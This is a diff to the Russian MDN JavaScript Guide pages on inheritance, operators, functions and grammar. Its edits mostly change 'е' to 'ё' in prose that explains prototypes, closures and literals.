      До сих пор функция-конструктор создавала обобщённый ообъект, а затем определяла локальные свойства и значения для нового объекта. Вы можете использовать конструктор, который добавляет дополнительные свойства путём непосредственного вызова функции-конструктора для объекта, расположенного выше в цепочке прототипов. На следующем рисунке показаны эти новые определения.


      Рисунок 8.6: Определение свойств в конструкторе, вариант 2

      @@ -426,7 +426,7 @@ jane.machine == 'belau' }
      -

      Предположим, вы создаете новый ообъект, используя Engineer, следующим образом:

      +

      Предположим, вы создаёте новый ообъект, используя Engineer, следующим образом:

      var jane = new Engineer('Doe, Jane', ['navigator', 'javascript'], 'belau');
       
      @@ -434,16 +434,16 @@ jane.machine == 'belau'

      JavaScript выполняет следующие действия:

        -
      1. Оператор new создает обобщенный ообъект и устанавливает его свойству __proto__ значение Engineer.prototype.
      2. -
      3. Оператор new передает этот новый ообъект в конструктор Engineer в качестве значения ключевого слова this.
      4. -
      5. Конструктор создает новое свойство с именем base для этого объекта и присваивает значение свойства base из конструктора WorkerBee. Это делает конструктор WorkerBee методом объекта, созданного Engineer. Имя свойства base не является специальным словом. Вы можете использовать любое допустимое для свойства имя; base всего-лишь напоминает о предназначении свойства.
      6. +
      7. Оператор new создаёт обобщённый ообъект и устанавливает его свойству __proto__ значение Engineer.prototype.
      8. +
      9. Оператор new передаёт этот новый ообъект в конструктор Engineer в качестве значения ключевого слова this.
      10. +
      11. Конструктор создаёт новое свойство с именем base для этого объекта и присваивает значение свойства base из конструктора WorkerBee. Это делает конструктор WorkerBee методом объекта, созданного Engineer. Имя свойства base не является специальным словом. Вы можете использовать любое допустимое для свойства имя; base всего-лишь напоминает о предназначении свойства.
      12. Конструктор вызывает метод base, передавая в качестве аргументов два аргумента, переданных конструктору ("Doe, Jane" и ["navigator", "javascript"]), а также строку "engineering". Явное использование "engineering" в конструкторе указывает на то, что все объекты, созданные Engineer, имеют одинаковое значение для наследуемого свойства dept, это значение переопределяет значение, унаследованное из Employee.
      13. -
      14. Поскольку base является методом Engineer, внутри вызова base JavaScript привязывает ключевое свойство this к объекту, созданному в шаге 1. Таким образом, функция WorkerBee передает поочередно аргументы "Doe, Jane" и "engineering" в функцию-конструктор Employee. Получив результат из Employee, функция WorkerBee использует оставшийся аргумент для установки значения свойства projects.
      15. +
      16. Поскольку base является методом Engineer, внутри вызова base JavaScript привязывает ключевое свойство this к объекту, созданному в шаге 1. Таким образом, функция WorkerBee передаёт поочерёдно аргументы "Doe, Jane" и "engineering" в функцию-конструктор Employee. Получив результат из Employee, функция WorkerBee использует оставшийся аргумент для установки значения свойства projects.
      17. После возвращения из метода base, конструктор Engineer инициализирует свойство объекта machine со значением "belau".
      18. После возвращения из конструктора, JavaScript присваивает новый ообъект переменной jane.
      -

      Можно подумать, что вызвав WorkerBee из конструктора Engineer, вы настроили соответствующим образом наследование для объектов, создаваемых Engineer. Это не так. Вызов конструктора WorkerBee обеспечивает только то, что ообъект Engineer запускается со  свойствами, определенными во всех функциях-конструкторах, которые были вызваны. Так, если позже добавить свойства в прототипы Employee или WorkerBee, эти свойства не наследуются объектами из Engineer. Например, предположим, вы использовали следующие определения:

      +

      Можно подумать, что вызвав WorkerBee из конструктора Engineer, вы настроили соответствующим образом наследование для объектов, создаваемых Engineer. Это не так. Вызов конструктора WorkerBee обеспечивает только то, что ообъект Engineer запускается со  свойствами, определёнными во всех функциях-конструкторах, которые были вызваны. Так, если позже добавить свойства в прототипы Employee или WorkerBee, эти свойства не наследуются объектами из Engineer. Например, предположим, вы использовали следующие определения:

      function Engineer (name, projs, mach) {
         this.base = WorkerBee;
      @@ -511,7 +511,7 @@ function Engineer (name, projs, mach) {
        
    • Если искомое свойство не обнаружено, считается, что ообъект его не имеет.
    • -

      Результат выполнения этих шагов будет зависеть от того, в каком порядке вы создаете объекты, прототипы и их свойства. Рассмотрим пример:

      +

      Результат выполнения этих шагов будет зависеть от того, в каком порядке вы создаёте объекты, прототипы и их свойства. Рассмотрим пример:

      function Employee () {
         this.name = "";
      @@ -524,7 +524,7 @@ function WorkerBee () {
       WorkerBee.prototype = new Employee;
       
      -

      Предположим, на основе конструкции выше, вы создаете ообъект amy как экземпляр класса WorkerBee следующим выражением:

      +

      Предположим, на основе конструкции выше, вы создаёте ообъект amy как экземпляр класса WorkerBee следующим выражением:

      var amy = new WorkerBee;
       
      @@ -543,7 +543,7 @@ amy.projects == [];

      На первый взгляд вы можете ожидать, что это изменение распространится на все экземпляры Employee. Однако этого не случится.

      -

      Когда вы устанавливаете прототип для WorkerBee вы создаете новый ообъект Employee, таким образом WorkerBee.prototype получает свое собственное локальное свойство name (в данном примере пустую строку). Следовательно, когда JavaScript ищет свойство name у объекта amy (экземпляра WorkerBee), он первым делом натыкается на него в прототипе WorkerBee.prototype, и до проверки Employee.prototype дело не доходит.

      +

      Когда вы устанавливаете прототип для WorkerBee вы создаёте новый ообъект Employee, таким образом WorkerBee.prototype получает своё собственное локальное свойство name (в данном примере пустую строку). Следовательно, когда JavaScript ищет свойство name у объекта amy (экземпляра WorkerBee), он первым делом натыкается на него в прототипе WorkerBee.prototype, и до проверки Employee.prototype дело не доходит.

      Если у вас есть необходимость изменять некоторое свойство объекта во время работы приложения, и применять это изменение на все существующие экземпляры, не нужно создавать это свойство внутри конструктора. Вместо этого добавьте свойство в прототип, принадлежащий конструктору. Для примера, предположим, вы изменили код, который был показан выше, следующим образом:

      @@ -617,7 +617,7 @@ instanceOf (chris, Employee) instanceOf (chris, Object)
      -

      Но следующее выражение вернет false:

      +

      Но следующее выражение вернёт false:

      instanceOf (chris, SalesPerson)
       
      @@ -635,13 +635,13 @@ function Employee (name, dept) { } -

      Здесь, когда вы создаете новый экземпляр Employee, конструктор присваивает ему все новый и новый ID увеличивая значение глобальной переменной idCounter. Следовательно, при выполнении кода ниже, victoria.id станет равным 1 а harry.id — 2:

      +

      Здесь, когда вы создаёте новый экземпляр Employee, конструктор присваивает ему все новый и новый ID увеличивая значение глобальной переменной idCounter. Следовательно, при выполнении кода ниже, victoria.id станет равным 1 а harry.id — 2:

      var victoria = new Employee("Pigbert, Victoria", "pubs")
       var harry = new Employee("Tschopik, Harry", "sales")
       
      -

      Навскидку, все выглядит предсказуемо. Однако, idCounter увеличивается при создании каждого объекта Employee вне зависимости от цели его создания. Если вы создаете полную иерархию класса Employee, показанную выше в этой главе, конструктор Employee будет так же вызван каждый раз, когда вы устанавливаете прототип для подклассов. Следующий код раскрывает суть возможной проблемы:

      +

      Навскидку, все выглядит предсказуемо. Однако, idCounter увеличивается при создании каждого объекта Employee вне зависимости от цели его создания. Если вы создаёте полную иерархию класса Employee, показанную выше в этой главе, конструктор Employee будет так же вызван каждый раз, когда вы устанавливаете прототип для подклассов. Следующий код раскрывает суть возможной проблемы:

      var idCounter = 1;
       
      @@ -666,9 +666,9 @@ SalesPerson.prototype = new WorkerBee;
       var mac = new Engineer("Wood, Mac");
       
      -

      Предположим, каждый из конструкторов, тело которого опущено для краткости, содержит вызов конструктора прародителя. Это приведет к тому, что id у объекта mac примет значение 5 вместо ожидаемой единицы.

      +

      Предположим, каждый из конструкторов, тело которого опущено для краткости, содержит вызов конструктора прародителя. Это приведёт к тому, что id у объекта mac примет значение 5 вместо ожидаемой единицы.

      -

      В зависимости от приложения, лишние увеличения счетчика могут быть не критичны. В случае же, когда точный контроль за значениями счетчика важен, одним из возможных решений станет такой код:

      +

      В зависимости от приложения, лишние увеличения счётчика могут быть не критичны. В случае же, когда точный контроль за значениями счётчика важен, одним из возможных решений станет такой код:

      function Employee (name, dept) {
          this.name = name || "";
      @@ -678,15 +678,15 @@ var mac = new Engineer("Wood, Mac");
       }
       
      -

      Когда вы создаете экземпляр Employee в качестве прототипа, вы не предоставляете аргументы в конструктор за ненадобностью. Конструктор выше проверяет наличие аргумента name, и в случае, если значение не указано, идентификатор id объекту не присваивается, а значение глобального счетчика idCounter не увеличивается. Таким образом, для получения уникального id становится обязательным указание параметра name при вызове конструктора Employee. С внесенными в пример выше изменениями, mac.id станет равным долгожданной, заветной единице.

      +

      Когда вы создаёте экземпляр Employee в качестве прототипа, вы не предоставляете аргументы в конструктор за ненадобностью. Конструктор выше проверяет наличие аргумента name, и в случае, если значение не указано, идентификатор id объекту не присваивается, а значение глобального счётчика idCounter не увеличивается. Таким образом, для получения уникального id становится обязательным указание параметра name при вызове конструктора Employee. С внесёнными в пример выше изменениями, mac.id станет равным долгожданной, заветной единице.

      Никакого множественного наследования

      Некоторые из объектно-ориентированных языков предоставляют возможность множественного наследования. Когда один ообъект может унаследовать свойства и методы множества других, не связанных друг с другом объектов. В JavaScript такого не предусмотрено.

      -

      В JavaScript наследование свойств осуществляется путем поиска в цепочке прототипов. Так как ообъект может иметь лишь единственный присвоенный ему прототип, JavaScript не может осуществить наследование более чем от одной цепочки прототипов.

      +

      В JavaScript наследование свойств осуществляется путём поиска в цепочке прототипов. Так как ообъект может иметь лишь единственный присвоенный ему прототип, JavaScript не может осуществить наследование более чем от одной цепочки прототипов.

      -

      Однако конструктор в JavaScript может вызывать любое количество вложенных конструкторов. Это дает некоторую, хоть и ограниченную (отсутствием прототипной связанности) видимость множественного наследования. Рассмотрим следующий фрагмент:

      +

      Однако конструктор в JavaScript может вызывать любое количество вложенных конструкторов. Это даёт некоторую, хоть и ограниченную (отсутствием прототипной связанности) видимость множественного наследования. Рассмотрим следующий фрагмент:

      function Hobbyist (hobby) {
          this.hobby = hobby || "scuba";
      diff --git a/files/ru/web/javascript/guide/expressions_and_operators/index.html b/files/ru/web/javascript/guide/expressions_and_operators/index.html
      index dea3cef0d6..046e83e9fb 100644
      --- a/files/ru/web/javascript/guide/expressions_and_operators/index.html
      +++ b/files/ru/web/javascript/guide/expressions_and_operators/index.html
      @@ -59,14 +59,14 @@ translation_of: Web/JavaScript/Guide/Expressions_and_Operators
       
       

      В результате операции присваивания операнду слева от оператора присваивания (знак "=") устанавливается значение , которое берётся из правого операнда. Основным оператором присваивания является  =, он присваивает значение правого операнда операнду, находящемуся слева. Таким образом, выражение x = y означает, что x присваивается значение y.

      -

      Существуют также составные операторы присваивания, которые используются для сокращенного представления операций, описанных в следующей таблице:

      +

      Существуют также составные операторы присваивания, которые используются для сокращённого представления операций, описанных в следующей таблице:

      - + @@ -491,7 +491,7 @@ var n3 = !"Cat"; // !t возвращает false
    • true || anything - сокращение с результатом true.
    • -

      Правила логики гарантируют, что данные вычисления всегда корректны. Обратите внимание, что часть "anything" представленных выше выражений не вычисляется, таким образом удается избежать любых побочных эффектов вычисления данной части.

      +

      Правила логики гарантируют, что данные вычисления всегда корректны. Обратите внимание, что часть "anything" представленных выше выражений не вычисляется, таким образом удаётся избежать любых побочных эффектов вычисления данной части.

      Строковые операторы

      @@ -499,7 +499,7 @@ var n3 = !"Cat"; // !t возвращает false
      console.log("my " + "string");  // в консоли выведется строка  "my string".
      -

      Сокращенный оператор присваивания += также может быть использован для объединения (конкатенации) строк:

      +

      Сокращённый оператор присваивания += также может быть использован для объединения (конкатенации) строк:

      var  mystring = "alpha";  mystring += "bet"; // получается значение "alphabet" и присваивается mystring.
       
      @@ -548,7 +548,7 @@ delete property; // допустимо только внутри with

      где objectName представляет собой имя объекта, property - свойство объекта, а index - целое число, указывающее на положение (номер позиции)  элемента в массиве.

      -

      Четвертый вариант использования позволяет удалить свойство объекта, но допускается только внутри with.

      +

      Четвёртый вариант использования позволяет удалить свойство объекта, но допускается только внутри with.

      Вы можете использовать оператор delete для удаления переменных, объявленных неявно, но вы не можете с его помощью удалять переменные, объявленные с помощью var.

      @@ -569,7 +569,7 @@ delete myobj; // возвращает true (можно удалить объе

      Удаление элемента массива не влияет на длину массива. Например, если вы удалите a[3], элемент a[4] останется a[4], a[3] станет undefined.

      -

      Когда элемент массива удаляется с помощью оператора delete, то из массива удаляется значение данного элемента. В следующем примере элемент trees[3] удален с помощью оператора delete. Однако, элемент trees[3] остается адресуемым и возвращает значение undefined.

      +

      Когда элемент массива удаляется с помощью оператора delete, то из массива удаляется значение данного элемента. В следующем примере элемент trees[3] удалён с помощью оператора delete. Однако, элемент trees[3] остаётся адресуемым и возвращает значение undefined.

      var trees = new Array("redwood", "bay", "cedar", "oak", "maple");
       delete trees[3];
      @@ -578,7 +578,7 @@ if (3 in trees) {
       }
       
      -

      Если вы хотите, чтобы элемент оставался в массиве, но имел значение undefined, то используйте ключевое слово undefined вместо оператора delete. В следующем примере элементу trees[3] присвоено значение undefined, но элемент при этом остается в массиве:

      +

      Если вы хотите, чтобы элемент оставался в массиве, но имел значение undefined, то используйте ключевое слово undefined вместо оператора delete. В следующем примере элементу trees[3] присвоено значение undefined, но элемент при этом остаётся в массиве:

      var trees = new Array("redwood", "bay", "cedar", "oak", "maple");
       trees[3] = undefined;
      @@ -665,7 +665,7 @@ void expression
       
      <A HREF="javascript:void(0)">Нажмите здесь, чтобы ничего не произошло</A>
       
      -

      Приведенный ниже код создает гипертекстовую ссылку, которая подтверждает отправку формы при клике на ней пользователем:

      +

      Приведённый ниже код создаёт гипертекстовую ссылку, которая подтверждает отправку формы при клике на ней пользователем:

      <A HREF="javascript:void(document.form.submit())">
       Нажмите здесь, чтобы подтвердить отправку формы</A>
      @@ -728,7 +728,7 @@ if (theDay instanceof Date) {

      Приоритет операторов определяет порядок их выполнения при вычислении выражения. Вы можете влиять на приоритет операторов с помощью скобок.

      -

      Приведенная ниже таблица описывает приоритет операторов от наивысшего до низшего.

      +

      Приведённая ниже таблица описывает приоритет операторов от наивысшего до низшего.

      Список операторов присваивания
      ИмяСокращенный операторСокращённый оператор Смысл
      @@ -875,18 +875,18 @@ a + (b * c) // 7 // что эквивалентно следующему a * c + b * c // 9 -

      Упрощенный синтаксис создания массивов и генераторов

      +

      Упрощённый синтаксис создания массивов и генераторов

      -

      Упрощенный синтаксис - экспериментальная возможность JavaScript, которая возможно будет добавлена в будущие версии ECMAScript. Есть 2 версии синтаксиса:

      +

      Упрощённый синтаксис - экспериментальная возможность JavaScript, которая возможно будет добавлена в будущие версии ECMAScript. Есть 2 версии синтаксиса:

      {{experimental_inline}} {{jsxref("Operators/Array_comprehensions", "[for (x of y) x]")}}
      -
      Упрощенный синтаксис для массивов.
      +
      Упрощённый синтаксис для массивов.
      {{experimental_inline}} {{jsxref("Operators/Generator_comprehensions", "(for (x of y) y)")}}
      -
      Упрощенный синтаксис для генераторов.
      +
      Упрощённый синтаксис для генераторов.
      -

      Упрощенные синтаксисы существуют во многих языках программирования и позволяют вам быстро собирать новый массив, основанный на существующем. Например:

      +

      Упрощённые синтаксисы существуют во многих языках программирования и позволяют вам быстро собирать новый массив, основанный на существующем. Например:

      [for (i of [ 1, 2, 3 ]) i*i ];
       // [ 1, 4, 9 ]
      diff --git a/files/ru/web/javascript/guide/functions/index.html b/files/ru/web/javascript/guide/functions/index.html
      index 2e62690a66..ef48cf9b64 100644
      --- a/files/ru/web/javascript/guide/functions/index.html
      +++ b/files/ru/web/javascript/guide/functions/index.html
      @@ -43,7 +43,7 @@ translation_of: Web/JavaScript/Guide/Functions
       
       
      • Имя функции.
      • -
      • Список параметров (принимаемых функцией) заключенных в круглые скобки () и разделенных запятыми.
      • +
      • Список параметров (принимаемых функцией) заключённых в круглые скобки () и разделённых запятыми.
      • Инструкции, которые будут выполнены после вызова функции, заключают в фигурные скобки { }.
      @@ -92,7 +92,7 @@ var x = square(4); // x получает значение 16 console.log(factorial(3));
      -

      Функции вида "function definition expression" удобны, когда функция передается аргументом другой функции. Следующий пример показывает функцию map, которая должна получить функцию первым аргументом и массив вторым.

      +

      Функции вида "function definition expression" удобны, когда функция передаётся аргументом другой функции. Следующий пример показывает функцию map, которая должна получить функцию первым аргументом и массив вторым.

      function map(f, a) {
         var result = [], // Create a new Array
      @@ -184,7 +184,7 @@ d = factorial(4); // d gets the value 24
       e = factorial(5); // e gets the value 120
       
      -

      Есть другие способы вызвать функцию. Существуют частые случаи, когда функции необходимо вызывать динамически, или поменять номера аргументов функции, или необходимо вызвать функцию с привязкой к определенному контексту. Оказывается, что функции сами по себе являются объектами, и эти объекты в свою очередь имеют методы (посмотрите объект Function). Один из них это метод apply(), использование которого может достигнуть этой цели.

      +

      Есть другие способы вызвать функцию. Существуют частые случаи, когда функции необходимо вызывать динамически, или поменять номера аргументов функции, или необходимо вызвать функцию с привязкой к определённому контексту. Оказывается, что функции сами по себе являются объектами, и эти объекты в свою очередь имеют методы (посмотрите объект Function). Один из них это метод apply(), использование которого может достигнуть этой цели.

      Область видимости функций

      @@ -202,7 +202,7 @@ function multiply() { return num1 * num2; } -multiply(); // вернет 60 +multiply(); // вернёт 60 // Пример вложенной функции function getScore() { @@ -216,7 +216,7 @@ function getScore() { return add(); } -getScore(); // вернет "Chamahk scored 5" +getScore(); // вернёт "Chamahk scored 5"

      Scope и стек функции

      @@ -309,7 +309,7 @@ foo(3);

      Поскольку вложенная функция это closure, это означает, что вложенная функция может "унаследовать" (inherit) аргументы и переменные функции, в которую та вложена. Другими словами, вложенная функция содержит scope внешней ("outer") функции.

      -

      Подведем итог:

      +

      Подведём итог:

      • Вложенная функция имеет доступ ко всем инструкциям внешней функции.
      • @@ -350,7 +350,7 @@ result1 = outside(3)(5); // возвращает 8

        Сохранение переменных

        -

        Обратите внимание, значение x сохранилось, когда возвращалось inside. Closure должно сохранять аргументы и переменные во всем scope. Поскольку каждый вызов предоставляет потенциально разные аргументы, создается новый closure для каждого вызова во вне. Память может быть очищена только тогда, когда inside уже возвратился и больше не доступен.

        +

        Обратите внимание, значение x сохранилось, когда возвращалось inside. Closure должно сохранять аргументы и переменные во всем scope. Поскольку каждый вызов предоставляет потенциально разные аргументы, создаётся новый closure для каждого вызова во вне. Память может быть очищена только тогда, когда inside уже возвратился и больше не доступен.

        Это не отличается от хранения ссылок в других объектах, но часто менее очевидно, потому что не устанавливаются ссылки напрямую и нельзя посмотреть там.

        @@ -379,9 +379,9 @@ A(1); // в консоле выведится 6 (1 + 2 + 3)
      • Раз closure функции B включает A, то closure С тоже включает A, C имеет доступ к аргументам и переменным обоих функций B и A. Другими словами, С связывает цепью (chain) scopes функций B и A в таком порядке.
      • -

        В обратном порядке, однако, это не верно. A не имеет доступ к переменным и аргументам C, потому что A не имеет такой доступ к B. Таким образом, C остается приватным только для B.

        +

        В обратном порядке, однако, это не верно. A не имеет доступ к переменным и аргументам C, потому что A не имеет такой доступ к B. Таким образом, C остаётся приватным только для B.

        -

        Конфликты имен (Name conflicts)

        +

        Конфликты имён (Name conflicts)

        Когда два аргумента или переменных в scope у closure имеют одинаковые имена, происходит конфликт имени (name conflict). Более вложенный (more inner) scope имеет приоритет, так самый вложенный scope имеет наивысший приоритет, и наоборот. Это цепочка областей видимости (scope chain). Самым первым звеном является самый глубокий scope, и наоборот. Рассмотрим следующие:

        @@ -395,7 +395,7 @@ A(1); // в консоле выведится 6 (1 + 2 + 3) outside()(10); // возвращает 20 вместо 10 -

        Конфликт имени произошел в инструкции return x * 2 между параметром x функции inside и переменной x функции outside. Scope chain здесь будет таким: {inside ==> outside ==> глобальный объект (global object)}. Следовательно x функции inside имеет больший приоритет по сравнению с outside, и нам вернулось 20 (= 10 * 2), а не 10 (= 5 * 2).

        +

        Конфликт имени произошёл в инструкции return x * 2 между параметром x функции inside и переменной x функции outside. Scope chain здесь будет таким: {inside ==> outside ==> глобальный объект (global object)}. Следовательно x функции inside имеет больший приоритет по сравнению с outside, и нам вернулось 20 (= 10 * 2), а не 10 (= 5 * 2).

        Замыкания

        @@ -407,7 +407,7 @@ outside()(10); // возвращает 20 вместо 10

        Также, поскольку вложенная функция имеет доступ к scope внешней функции, переменные и функции, объявленные во внешней функции, будет продолжать существовать и после её выполнения для вложенной функции, если на них и на неё сохранился доступ (имеется ввиду, что переменные, объявленные во внешней функции, сохраняются, только если внутренняя функция обращается к ним).

        -

        Closure создается, когда вложенная функция как-то стала доступной в неком scope вне внешней функции.

        +

        Closure создаётся, когда вложенная функция как-то стала доступной в неком scope вне внешней функции.

        var pet = function(name) {   // Внешняя функция объявила переменную "name"
           var getName = function() {
        @@ -568,7 +568,7 @@ multiply(5); // 5

        Оставшиеся параметры (Rest parameters)

        -

        Оставшиеся параметры предоставляют нам массив неопределенных аргументов. В примере мы используем оставшиеся параметры, чтобы собрать аргументы с индексами со 2-го до последнего. Затем мы умножим каждый из них на значение первого аргумента. В этом примере используется стрелочная функция (Arrow functions), о которой будет рассказано в следующей секции.

        +

        Оставшиеся параметры предоставляют нам массив неопределённых аргументов. В примере мы используем оставшиеся параметры, чтобы собрать аргументы с индексами со 2-го до последнего. Затем мы умножим каждый из них на значение первого аргумента. В этом примере используется стрелочная функция (Arrow functions), о которой будет рассказано в следующей секции.

        function multiply(multiplier, ...theArgs) {
           return theArgs.map(x => multiplier * x);
        @@ -607,7 +607,7 @@ console.log(a3); // logs [8, 6, 7, 9]

        Лексика this

        -

        До стрелочных функций каждая новая функция определяла свое значение this (новый объект в случае конструктора, undefined в strict mode,  контекстный объект, если функция вызвана как метод объекта, и т.д.).  Это оказалось раздражающим с точки зрения объектно-ориентированного стиля программирования.

        +

        До стрелочных функций каждая новая функция определяла своё значение this (новый объект в случае конструктора, undefined в strict mode,  контекстный объект, если функция вызвана как метод объекта, и т.д.).  Это оказалось раздражающим с точки зрения объектно-ориентированного стиля программирования.

        function Person() {
           // Конструктор Person() определяет `this` как самого себя.
        @@ -616,14 +616,14 @@ console.log(a3); // logs [8, 6, 7, 9]
        setInterval(function growUp() { // Без strict mode функция growUp() определяет `this` // как global object, который отличается от `this` - // определенного конструктором Person(). + // определённого конструктором Person(). this.age++; }, 1000); } var p = new Person(); -

        В ECMAScript 3/5 эта проблема была исправлена путем присвоения значения this переменной, которую можно было бы замкнуть.

        +

        В ECMAScript 3/5 эта проблема была исправлена путём присвоения значения this переменной, которую можно было бы замкнуть.

        function Person() {
           var self = this; // Некоторые выбирают `that` вместо `self`.
        diff --git a/files/ru/web/javascript/guide/grammar_and_types/index.html b/files/ru/web/javascript/guide/grammar_and_types/index.html
        index 6618946fbb..3807d40ef0 100644
        --- a/files/ru/web/javascript/guide/grammar_and_types/index.html
        +++ b/files/ru/web/javascript/guide/grammar_and_types/index.html
        @@ -51,13 +51,13 @@ translation_of: Web/JavaScript/Guide/Grammar_and_types
         
         

        Переменные

        -

        Вы можете использовать переменные как символические имена для значений в вашем приложении. Имена переменных называются {{Glossary("Identifier", "identifiers")}} и должны соответствовать определенным правилам.

        +

        Вы можете использовать переменные как символические имена для значений в вашем приложении. Имена переменных называются {{Glossary("Identifier", "identifiers")}} и должны соответствовать определённым правилам.

        -

        Идентификатор в JavaScript должен начинаться с буквы, нижнего подчеркивания (_) или знака доллара ($); последующие символы могут также быть цифрами (0-9). Поскольку JavaScript чувствителен к регистру, буквы включают символы от "A" до "Z" (верхний регистр) и символы от "a" до "z" (нижний регистр).

        +

        Идентификатор в JavaScript должен начинаться с буквы, нижнего подчёркивания (_) или знака доллара ($); последующие символы могут также быть цифрами (0-9). Поскольку JavaScript чувствителен к регистру, буквы включают символы от "A" до "Z" (верхний регистр) и символы от "a" до "z" (нижний регистр).

        Вы можете использовать в идентификаторах буквы ISO 8859-1 или Unicode, например, å или ü. Вы также можете использовать управляющие последовательности Unicode как символы в идентификаторах.

        -

        Некоторые примеры корректных имен: Number_hitstemp99,  _name.

        +

        Некоторые примеры корректных имён: Number_hitstemp99,  _name.

        Объявление переменных

        @@ -95,7 +95,7 @@ let x;
        doThat(); } -

        Значение undefined ведет себя как false, когда используется в логическом контексте. Например, следующий код выполняет функцию myFunction, т.к. элемент myArray не определен:

        +

        Значение undefined ведёт себя как false, когда используется в логическом контексте. Например, следующий код выполняет функцию myFunction, т.к. элемент myArray не определён:

        var myArray = [];
         if (!myArray[0]) {
        @@ -108,7 +108,7 @@ let x; 
        var a;
         a + 2; // NaN
        -

        Значение {{jsxref("null")}} ведет себя как 0 в числовом контексте и как false в логическом контексте:

        +

        Значение {{jsxref("null")}} ведёт себя как 0 в числовом контексте и как false в логическом контексте:

        var n = null;
         console.log(n * 32); // В консоль выведется 0
        @@ -124,7 +124,7 @@ console.} console.log(x); // 5
        -

        Такое поведение меняется, если используется оператор let, введенный в ECMAScript 6:

        +

        Такое поведение меняется, если используется оператор let, введённый в ECMAScript 6:

        if (true) {
           let y = 5;
        @@ -133,7 +133,7 @@ console.Поднятие переменных
         
        -

        Другим необычным свойством переменных в JavaScript является то, что можно сослаться на переменную, которая объявляется позже, и не получить при этом исключения. Эта концепция известна как поднятие (hoisting) переменных; переменные в JavaScript поднимаются в самое начало функции или выражения. Однако, переменные, которые еще не были инициализированы, возвратят значение undefined:

        +

        Другим необычным свойством переменных в JavaScript является то, что можно сослаться на переменную, которая объявляется позже, и не получить при этом исключения. Эта концепция известна как поднятие (hoisting) переменных; переменные в JavaScript поднимаются в самое начало функции или выражения. Однако, переменные, которые ещё не были инициализированы, возвратят значение undefined:

        /*
          * Example 1
        @@ -151,7 +151,7 @@ console.  var myvar = "local value";
         })();
        -

        Приведенные выше примеры будут интерпретироваться так же, как:

        +

        Приведённые выше примеры будут интерпретироваться так же, как:

        /*
          * Example 1
        @@ -209,7 +209,7 @@ var baz = function() {
         
         

        Константы

        -

        Вы можете создать именованную константу, доступную только для чтения, используя ключевое слово {{jsxref("Statements/const", "const")}}. Синтаксис идентификатора константы является таким же, как и у идентификатора переменной: он должен начинаться с буквы, нижнего подчеркивания или знака $ и может содержать буквы, цифры или нижнее подчеркивание.

        +

        Вы можете создать именованную константу, доступную только для чтения, используя ключевое слово {{jsxref("Statements/const", "const")}}. Синтаксис идентификатора константы является таким же, как и у идентификатора переменной: он должен начинаться с буквы, нижнего подчёркивания или знака $ и может содержать буквы, цифры или нижнее подчеркивание.

        const PREFIX = '212';
        @@ -260,7 +260,7 @@ MY_OBJECT.key = "otherValue";

        Преобразование типов данных

        -

        JavaScript — это динамически типизированный язык. Это означает, что вам не нужно указывать тип данных переменной, когда вы ее объявляете, типы данных преобразуются автоматически по мере необходимости во время выполнения скрипта. Так, например, вы можете определить переменную следующим образом:

        +

        JavaScript — это динамически типизированный язык. Это означает, что вам не нужно указывать тип данных переменной, когда вы её объявляете, типы данных преобразуются автоматически по мере необходимости во время выполнения скрипта. Так, например, вы можете определить переменную следующим образом:

        var answer = 42;
        @@ -313,9 +313,9 @@ MY_OBJECT.key = "otherValue";

        Литерал массива

        -

        Литерал массива — это список из нуля или более выражений, каждое из которых представляет элемент массива, заключенный в квадратные скобки ( [] ). Когда вы создаете массив, используя литерал массива, он инициализируется с помощью переданных значений, которые будут являться его элементами, длина массива будет равна числу переданных аргументов.

        +

        Литерал массива — это список из нуля или более выражений, каждое из которых представляет элемент массива, заключённый в квадратные скобки ( [] ). Когда вы создаёте массив, используя литерал массива, он инициализируется с помощью переданных значений, которые будут являться его элементами, длина массива будет равна числу переданных аргументов.

        -

        В следующем примере создается массив coffees с тремя элементам и длиной, равной трем:

        +

        В следующем примере создаётся массив coffees с тремя элементам и длиной, равной трём:

        var coffees = ["French Roast", "Colombian", "Kona"];
         
        @@ -324,7 +324,7 @@ MY_OBJECT.key = "otherValue";

        Замечание : Обратите внимание на то, что литерал массива является инициализатором объекта. Чтобы получить более подробную информацию, прочитайте Использование инициализаторов объекта.

        -

        Если массив создается с помощью литерала в скрипте верхнего уровня, то JavaScript интерпретирует массив каждый раз, когда вычисляет выражение, содержащее литерал. Кроме того, литерал, используемый в функции, создается каждый раз, когда вызывается функция.

        +

        Если массив создаётся с помощью литерала в скрипте верхнего уровня, то JavaScript интерпретирует массив каждый раз, когда вычисляет выражение, содержащее литерал. Кроме того, литерал, используемый в функции, создаётся каждый раз, когда вызывается функция.

        Литералы массива также являются объектами Array. Чтобы получить более подробную информацию, прочитайте {{jsxref("Array")}} и упорядоченные наборы данных.

        @@ -345,11 +345,11 @@ MY_OBJECT.key = "otherValue";
        var myList = ['home', , 'school', ]; // ["home", undefined, "school"]
         
        -

        В следующем примере длина массива равна четырем, элементы myList[0] и myList[2] имеют значение undefined:

        +

        В следующем примере длина массива равна четырём, элементы myList[0] и myList[2] имеют значение undefined:

        var myList = [ , 'home', , 'school']; // [undefined, "home", undefined, "school"]
        -

        В следующем примере длина массива равна четырем, элементы myList[1] и myList[3] имеют значение undefined. Игнорируется только последняя запятая.

        +

        В следующем примере длина массива равна четырём, элементы myList[1] и myList[3] имеют значение undefined. Игнорируется только последняя запятая.

        var myList = ['home', , 'school', , ]; // ["home", undefined, "school", undefined]
        @@ -409,7 +409,7 @@ MY_OBJECT.key = "otherValue";

        Литерал объекта

        -

        Литерал объекта — это список из нуля или более пар, состоящих из имен свойств и связанных с ними значений, заключенный в фигурные скобки ( {} ). Вам не следует использовать литерал объекта в начале выражения, т.к. это приведет к ошибке или к поведению, которого вы не ожидаете, потому что символ "{" будет интерпретироваться как начало блока.

        +

        Литерал объекта — это список из нуля или более пар, состоящих из имён свойств и связанных с ними значений, заключённый в фигурные скобки ( {} ). Вам не следует использовать литерал объекта в начале выражения, т.к. это приведёт к ошибке или к поведению, которого вы не ожидаете, потому что символ "{" будет интерпретироваться как начало блока.

        В следующем примере свойству myCar объекта car присваивается строка "Saturn", свойству getCar — результат вызова функции CarTypes("Honda"), свойству special — значение переменной Sales:

        @@ -482,7 +482,7 @@ console.Строковый литерал -

        Строковый литерал — это ноль или более символов, заключенных в двойные ( " ) или одинарные ( ' ) кавычки. Строка должна быть ограничена кавычками одного типа, т.е. либо обе одинарные, либо обе двойные. Например:

        +

        Строковый литерал — это ноль или более символов, заключённых в двойные ( " ) или одинарные ( ' ) кавычки. Строка должна быть ограничена кавычками одного типа, т.е. либо обе одинарные, либо обе двойные. Например:

        "foo"
         'bar'
